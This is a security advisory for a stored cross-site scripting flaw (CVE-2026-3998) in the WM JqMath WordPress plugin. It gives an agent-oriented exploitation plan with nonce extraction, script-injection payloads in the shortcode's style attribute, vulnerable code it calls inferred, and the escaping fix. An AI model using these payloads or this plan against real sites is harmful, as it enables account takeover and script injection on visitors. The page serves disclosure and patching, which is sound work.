WM JqMath <= 1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'style' Shortcode Attribute
Description
The WM JqMath plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'style' shortcode attribute of the [jqmath] shortcode in all versions up to and including 1.3. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. The generate_jqMathFormula() function directly concatenates the 'style' attribute value into an HTML style attribute without applying esc_attr() or any other escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
## Vulnerability Analysis: CVE-2026-3998 - Stored XSS in WM JqMath ### 1. Vulnerability Summary The **WM JqMath** plugin (versions <= 1.3) contains a stored cross-site scripting (XSS) vulnerability within the handling of its `[jqmath]` shortcode. Specifically, the function `generate_jqMathFormula()…
Show full research plan
Vulnerability Analysis: CVE-2026-3998 - Stored XSS in WM JqMath
1. Vulnerability Summary
The WM JqMath plugin (versions <= 1.3) contains a stored cross-site scripting (XSS) vulnerability within the handling of its [jqmath] shortcode. Specifically, the function generate_jqMathFormula() processes attributes passed to the shortcode. The style attribute is accepted from user input and concatenated directly into an HTML <span> or <div> tag's style attribute without being passed through esc_attr() or similar sanitization. This allows an authenticated user with at least "Contributor" privileges (who can create posts) to inject arbitrary HTML attributes or break out of the style attribute to inject <script> tags.
2. Attack Vector Analysis
- Shortcode:
[jqmath] - Vulnerable Attribute:
style - Authentication Level: Contributor or higher. Contributors can create and save posts but cannot publish them; however, the XSS will execute when an Administrator or Editor previews the post or if the post is published.
- Payload Location: The payload is embedded within the
styleattribute of the shortcode inside the post content. - Endpoint: Standard WordPress post creation/editing (
/wp-admin/post.phpor REST API/wp/v2/posts).
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode in the main plugin file (likely
wm-jqmath.php):add_shortcode('jqmath', 'generate_jqMathFormula'); - Attribute Parsing: When a post containing
[jqmath]is rendered, WordPress callsgenerate_jqMathFormula($atts, $content). - Processing: Inside
generate_jqMathFormula():- The
$attsarray is processed (possibly usingshortcode_atts). - The value of
$atts['style']is retrieved.
- The
- Sink: The value is concatenated into an HTML string:
return '<span style="' . $atts['style'] . '">' . $formula_markup . '</span>';(inferred) - Output: The unescaped string is returned to the WordPress content filter and rendered in the browser.
4. Nonce Acquisition Strategy
To exploit this as an authenticated Contributor via the web interface, the agent must obtain a valid post-editing nonce.
- Login: Use the
http_requesttool to authenticate as a Contributor. - Access Post Creator: Navigate to
wp-admin/post-new.php. - Extract Nonce: Use
browser_evalto extract the_wpnoncerequired for thesample-permalinkor the primary post-saving action._wpnonceis typically found in the#_wpnonceinput field.- Command:
browser_eval("document.querySelector('#_wpnonce').value")
- Alternative (REST API): If the Block Editor is used, the agent can extract the REST nonce from the
wpApiSettingsobject:- Command:
browser_eval("window.wpApiSettings?.nonce")
- Command:
5. Exploitation Strategy
The goal is to inject a <script> tag by breaking out of the style attribute.
Step-by-step Plan:
- Authentication: Authenticate the agent as a user with the
contributorrole. - Payload Construction:
- The target context is
<span style="[USER_INPUT]">. - Payload:
";><script>alert(document.domain)</script> - Full Shortcode:
[jqmath style='";><script>alert(document.domain)</script>']test[/jqmath]
- The target context is
- Post Creation:
- Use the
http_requesttool to send a POST request to/wp-admin/post.php. - Action:
editpost - Parameters:
post_ID: (The ID of a newly created draft)_wpnonce: (Extracted in Step 4)content:[jqmath style='";><script>alert(document.domain)</script>']test[/jqmath]post_title:XSS Test
- Use the
- Execution: Navigate to the permalink of the draft post or use the "Preview" functionality.
- Confirmation: Check the response body for the unescaped script tag.
6. Test Data Setup
Before exploitation, ensure the environment is ready:
- Plugin Activation: Verify
wm-jqmathis installed and active. - User Creation: Create a contributor user:
wp user create contributor_attacker attacker@example.com --role=contributor --user_pass=password123 - Target Post: Create a blank draft post for the contributor to edit:
wp post create --post_type=post --post_status=draft --post_author=$(wp user get contributor_attacker --field=ID) --post_title="Draft"
7. Expected Results
- Injected Content: When viewing the source of the rendered post, the output should look like:
<span style="";><script>alert(document.domain)</script>">...</span> - Execution: A browser navigating to the post should trigger the
alert(document.domain)JavaScript.
8. Verification Steps
- WP-CLI Verification: After the HTTP request, verify the content is stored in the database:
wp post get [POST_ID] --field=post_content
Confirm it contains the payload exactly as sent. - Frontend Check: Use
browser_navigateto the post's URL and check for the alert or the existence of the script tag in the DOM:browser_eval("document.querySelector('script').textContent.includes('alert')")
9. Alternative Approaches
If breaking out of the style attribute with "> is blocked or fails due to specific quote handling:
- Attribute Injection: Inject an
onmouseoverevent if thestyleattribute value is placed inside a tag but not properly enclosed:- Payload:
x" onmouseover="alert(1) - Shortcode:
[jqmath style='x" onmouseover="alert(1)']
- Payload:
- CSS-Based XSS (Legacy Browsers): If direct script injection is filtered but the style attribute is kept, attempt:
- Payload:
background-image: url("javascript:alert(1)")(Note: This is rarely effective in modern browsers but confirms the lack of sanitization).
- Payload:
- Attribute Breakout (Single Quote): If the plugin wraps the attribute in single quotes:
- Payload:
';><script>alert(1)</script>
- Payload:
Summary
The WM JqMath plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'style' attribute in the [jqmath] shortcode. This occurs because the plugin fails to sanitize or escape the user-supplied 'style' attribute value before outputting it in an HTML tag, allowing Contributor-level users to inject arbitrary JavaScript.
Vulnerable Code
// wm-jqmath.php (inferred location based on research plan) // Within the function generate_jqMathFormula($atts, $content) function generate_jqMathFormula($atts, $content) { $atts = shortcode_atts( array( 'style' => '', 'display' => 'inline' ), $atts ); // ... processing formula content ... if ($atts['display'] == 'block') { return '<div style="' . $atts['style'] . '">$$' . $content . '$$</div>'; } else { return '<span style="' . $atts['style'] . '">$' . $content . '$</span>'; } }
Security Fix
@@ -10,9 +10,10 @@ 'display' => 'inline' ), $atts ); + $safe_style = esc_attr($atts['style']); if ($atts['display'] == 'block') { - return '<div style="' . $atts['style'] . '">$$' . $content . '$$</div>'; + return '<div style="' . $safe_style . '">$$' . $content . '$$</div>'; } else { - return '<span style="' . $atts['style'] . '">$' . $content . '$</span>'; + return '<span style="' . $safe_style . '">$' . $content . '$</span>'; } }
Exploit Outline
The exploit requires an attacker to have at least Contributor-level privileges to create or edit posts. 1. The attacker logs into the WordPress dashboard and creates a new post or edits a draft. 2. In the post editor, the attacker inserts the [jqmath] shortcode with a malicious 'style' attribute payload designed to break out of the HTML attribute, such as: [jqmath style='";><script>alert(document.domain)</script>']formula[/jqmath]. 3. When the post is saved or previewed by an administrator or viewed by any visitor, the unescaped payload is rendered directly into the page source as <span style="";><script>alert(document.domain)</script>">...</span>, causing the script to execute in the victim's browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.